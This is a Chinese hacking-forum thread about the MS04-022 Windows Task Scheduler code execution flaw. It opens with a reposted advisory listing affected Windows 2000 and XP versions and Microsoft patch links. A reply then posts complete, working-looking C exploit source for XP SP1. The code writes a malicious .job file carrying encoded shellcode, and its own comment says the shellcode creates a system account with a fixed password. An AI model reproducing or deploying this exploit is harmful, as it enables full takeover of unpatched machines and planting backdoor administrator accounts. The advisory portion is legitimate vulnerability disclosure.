论坛: 黑客进阶 标题: Scheduler远程任意代码执行漏洞(MS04-022)[转载] 复制本贴地址    
作者: pula [pula]    论坛用户   登录

受影响系统:
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2004-0212

Microsoft Task Scheduler用于任务调度。

Microsoft Task Scheduler在处理应用程序文件名验证时存在问题,远程攻击者可以利用这个漏洞以系统权限在系统上执行任意指令。

成功利用此漏洞攻击者可以完全控制整个系统,但是此漏洞需要部分用户交互才能触发。攻击者可以构建恶意WEB页,诱使用户点击来触发此漏洞。

<*来源:Brett Moore (brett.moore@SECURITY-ASSESSMENT.COM)
        Dustin Schneider (dschn@verizon.net)
        Peter Winter-Smith (peter4020@hotmail.com)
 
  链接:http://www.microsoft.com/technet/security/bulletin/MS04-022.mspx
*>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS04-022)以及相应补丁:
MS04-022:Vulnerability in Task Scheduler Could Allow Code Execution (841873)
链接:http://www.microsoft.com/technet/security/bulletin/MS04-022.mspx

补丁下载:

Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, Microsoft Windows 2000 Service Pack 4:
http://www.microsoft.com/downloads/details.aspx?FamilyId=BBF3C8A1-7D72-4CE9-A586-7C837B499C08&displaylang=en

Microsoft Windows XP and Microsoft Windows XP Service Pack 1
http://www.microsoft.com/downloads/details.aspx?FamilyId=8E8D0A2D-D3B9-4DE8-8B6F-FC27715BC0CF&displaylang=en

Microsoft Windows XP 64-Bit Edition Service Pack 1
http://www.microsoft.com/downloads/details.aspx?FamilyId=7B4AC0FA-7954-4993-85A1-85298F122CE0&displaylang=en

作者: 不详
来 源: 银色巢穴





地主 发表时间: 04-07-25 13:46

回复: lgz198199 [lgz198199]   论坛用户   登录
可以把代码公布出来吗?

B1层 发表时间: 04-07-27 19:17

回复: painkiller [painkiller]   论坛用户   登录
转载自cnhonker网

/* 
  ms04-022 exp  for xp sp1
  by sbaa 2004.7.20
  create a system account IUSA password k911

*/
#include <stdio.h>
#include <windows.h>


unsigned char job_head[] =
"\x47\x04\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";

unsigned char job_end[] =
"\x00\x00\x00\x00\x04\x00\x44\x00\x3A\x00"
"\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00\x74\x00"
"\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00\x00\x00"
"\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00\x00\x00"
"\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";


unsigned char shellcode[] =

"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x42\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99"
"\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC\xED\xB9\xEC\xEA\xFC\xEB\xB9\xD0\xCC\xCA\xD8"
"\xB9\xF2\xA0\xA8\xA8\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6"
"\xFA\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED\xEB\xF8\xED"
"\xF6\xEB\xEA\xB9\xD0\xCC\xCA\xD8\xB9\xB6\xF8\xFD\xFD\x99";


int main(int argc, char* argv[])
{
  char buf[40960];
  int len=0,i=0;
  WORD len_name;
FILE *fp;
fp = fopen("create_account.job", "wb");
if(fp)
{
len=sizeof(job_head) - 1;
memcpy(buf, job_head, len);

len_name=1024;

buf[len]=len_name/2%256+1;
buf[len+1]=len_name/2/256;
len=len+2;
for(i=0;i<len_name/2;i++)
{
  buf[len+i*2]=i%128?i%128:i/128+1;
  buf[len+i*2+1]=0x0;
}
memcpy(buf+len+518,"\x1e\x34\xc6\x77",4);
memcpy(buf+len+534,"\xe9\x63\x03\x00\x00\x90",6);
memcpy(buf+len+562,shellcode,sizeof(shellcode)-1);
     
memcpy(buf+len+len_name, job_end, sizeof(job_end)-1);

fwrite(buf, 1, len+len_name+sizeof(job_end)-1, fp);
fclose(fp);

}
return 0;
}


B2层 发表时间: 04-07-28 08:51

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号